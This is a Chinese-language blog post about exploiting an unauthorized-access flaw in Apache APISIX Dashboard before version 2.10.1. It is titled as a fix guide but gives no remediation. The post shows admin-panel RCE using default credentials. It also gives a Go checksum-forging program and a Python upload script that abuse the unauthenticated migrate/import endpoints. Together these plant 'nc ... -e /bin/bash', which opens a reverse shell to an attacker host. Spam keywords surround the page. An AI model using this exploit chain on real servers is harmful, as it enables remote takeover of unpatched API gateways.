91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Apache?APISIX?Dashboard未授權訪問漏洞怎么解決

發布時間:2023-03-16 15:56:57 來源:億速云 閱讀:116 作者:iii 欄目:開發技術

今天小編給大家分享一下Apache APISIX Dashboard未授權訪問漏洞怎么解決的相關知識點,內容詳細,邏輯清晰,相信大部分人都還太了解這方面的知識,所以分享這篇文章給大家參考一下,希望大家閱讀完這篇文章后有所收獲,下面我們一起來了解一下吧。

漏洞描述

Apache APISIX 是一個動態、實時、高性能的 API 網關, 提供負載均衡、動態上游、灰度發布、服務熔斷、身份認證、可觀測性等豐富的流量管理功能。Apache APISIX Dashboard 使用戶可通過前端界面操作 Apache APISIX。該漏洞的存在是由于 Manager API 中的錯誤。Manager API 在 gin 框架的基礎上引入了 droplet 框架,所有的 API 和鑒權中間件都是基于 droplet 框架開發的。但是有些 API 直接使用了框架 gin 的接口,從而繞過身份驗證。

影響范圍

Apache APISIX Dashboard < 2.10.1

環境部署

通過git clone apisix-docker

git clone https://github.com/apache/apisix-docker
cd apisix-docker/example/

修改docker-compose.yml

apache/apisix-dashboard:2.7
apache/apisix:2.6-alpine

Apache?APISIX?Dashboard未授權訪問漏洞怎么解決


然后,docker-compose up -d 啟動環境

環境起來后,瀏覽器通過默認端口9000訪問apisix dashboard

Apache?APISIX?Dashboard未授權訪問漏洞怎么解決

后臺RCE

由于apisix dashboard 默認賬號和密碼是admin:admin,所以我們先登錄到后臺,來驗證一把遠程命令執行

Apache?APISIX?Dashboard未授權訪問漏洞怎么解決

首先創建一個上游服務,點擊創建,名稱隨意命名,目標節點填寫我們轉發請求的服務,這里我們填寫docker附帶的Grafana應用,端口號為3000,點擊下一步,提交即可。

Apache?APISIX?Dashboard未授權訪問漏洞怎么解決

Apache?APISIX?Dashboard未授權訪問漏洞怎么解決

其次,創建一個路由,名稱任意起,路徑也是自定義,點擊下一步,選擇我們剛才創建的上游服務,最后,提交即可。

Apache?APISIX?Dashboard未授權訪問漏洞怎么解決

Apache?APISIX?Dashboard未授權訪問漏洞怎么解決

Apache?APISIX?Dashboard未授權訪問漏洞怎么解決

Apache?APISIX?Dashboard未授權訪問漏洞怎么解決

查看創建的路由

Apache?APISIX?Dashboard未授權訪問漏洞怎么解決

回到路由配置頁面,點擊配置,然后一直下一步,直到提交時,使用BurpSuite抓包

Apache?APISIX?Dashboard未授權訪問漏洞怎么解決

Apache?APISIX?Dashboard未授權訪問漏洞怎么解決

然后在請求包的body中,添加一個script字段后,發送請求。

"script": "os.execute('touch /tmp/Keepb1ue')"

Apache?APISIX?Dashboard未授權訪問漏洞怎么解決

再次查看,路由配置信息

Apache?APISIX?Dashboard未授權訪問漏洞怎么解決

接著,我們訪問一下: http://192.168.10.171:9080/rce111

docker中看一下,是否創建了Keepblue這個文件

Apache?APISIX?Dashboard未授權訪問漏洞怎么解決

未授權接口RCE

如果沒有默認密碼或者弱密碼的話,這時我們就利用未授權接口進行RCE了

/apisix/admin/migrate/export
/apisix/admin/migrate/import

首先,使用/apisix/admin/migrate/export導出配置文件

因為是未授權,所以在未登陸情況下,BP抓包后,請求接口改為/apisix/admin/migrate/export,點擊send后,看到配置文件信息

Apache?APISIX?Dashboard未授權訪問漏洞怎么解決

在導入配置文件時,會對配置文件的checksum值進行校驗,那這里其實是可以通過寫腳本算出checksum校驗值,或者是根據apisix的源碼去計算出新的checksum值

源碼位置在:apisix-dashboard-master\api\internal\handler\migrate\migrate.go的ExportConfig函數將其計算源碼單獨抽取出來,并將需要導入的配置(data)進修替換和插入RCE語句

package main

import (
    "encoding/binary"
    "fmt"
    "hash/crc32"
    "io/ioutil"
    "os"
)
func main() {
    gen()
}
func gen() {
    data := []byte(`{"Counsumers":[],"Routes":[{"id":"403141558204891851","create_time":1649820693,"update_time":1649821490,"uris":["/rce111"],"name":"lyroute","methods":["GET","POST","PUT","DELETE","PATCH","HEAD","OPTIONS","CONNECT","TRACE"],"script":"os.execute('nc 192.168.8.14 2333 -e /bin/bash')","script_id":"403141558204891851","upstream_id":"403140847589130955","status":1}],"Services":[],"SSLs":[],"Upstreams":[{"id":"403140847589130955","create_time":1649820270,"update_time":1649820270,"nodes":[{"host":"192.168.10.171","port":3000,"weight":1}],"timeout":{"connect":6,"read":6,"send":6},"type":"roundrobin","scheme":"http","pass_host":"pass","name":"lytest"}],"Scripts":[{"id":"403141558204891851","script":"os.execute('nc 192.168.8.14 2333 -e /bin/bash')"}],"GlobalPlugins":[],"PluginConfigs":[]}`)
    checksumUint32 := crc32.ChecksumIEEE(data)
    checksumLength := 4
    checksum := make([]byte, checksumLength)
    binary.BigEndian.PutUint32(checksum, checksumUint32)
    fileBytes := append(data, checksum...)

    content := fileBytes
    fmt.Println(content)

    importData := content[:len(content)-4]
    checksum2 := binary.BigEndian.Uint32(content[len(content)-4:])
    if checksum2 != crc32.ChecksumIEEE(importData) {
        fmt.Println(checksum2)
        fmt.Println(crc32.ChecksumIEEE(importData))
        fmt.Println("Check sum check fail, maybe file broken")
        return
    }
    err := ioutil.WriteFile("apisixPayload", content, os.ModePerm)
    if err != nil {
        fmt.Println("error!!")
        return
    }
}

運行這段腳本,會生成apisixPayload這個文件

Apache?APISIX?Dashboard未授權訪問漏洞怎么解決

這個就是我們要import上去的計算好校驗值的新的配置文件,接下來使用python代碼可以簡單的傳到服務端

import requests
url = "http://192.168.10.171:9000/apisix/admin/migrate/import"
files = {"file": open("apisixPayload", "rb")}
r = requests.post(url, data={"mode": "overwrite"}, files=files)
print(r.status_code)
print(r.content)

Apache?APISIX?Dashboard未授權訪問漏洞怎么解決

在攻擊機上,開啟nc監聽

Apache?APISIX?Dashboard未授權訪問漏洞怎么解決

接下來,訪問路由地址(http://192.168.10.171:9080/rce111),觸發遠程命令執行

查看nc反彈shell

Apache?APISIX?Dashboard未授權訪問漏洞怎么解決

反彈成功,說明命令已經執行

以上就是“Apache APISIX Dashboard未授權訪問漏洞怎么解決”這篇文章的所有內容,感謝各位的閱讀!相信大家閱讀完這篇文章都有很大的收獲,小編每天都會為大家更新不同的知識,如果還想學習更多的知識,請關注億速云行業資訊頻道。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

长宁区| 安平县| 那坡县| 兴隆县| 洪江市| 惠州市| 龙泉市| 高邑县| 灵山县| 连州市| 诏安县| 靖州| 浏阳市| 南京市| 米泉市| 渝中区| 遵义市| 绥滨县| 新田县| 视频| 定陶县| 平安县| 大同县| 汶上县| 息烽县| 思南县| 垫江县| 宁陕县| 龙陵县| 宁夏| 西丰县| 泰和县| 玉山县| 哈尔滨市| 通河县| 华亭县| 隆安县| 荥阳市| 平谷区| 河南省| 丽水市|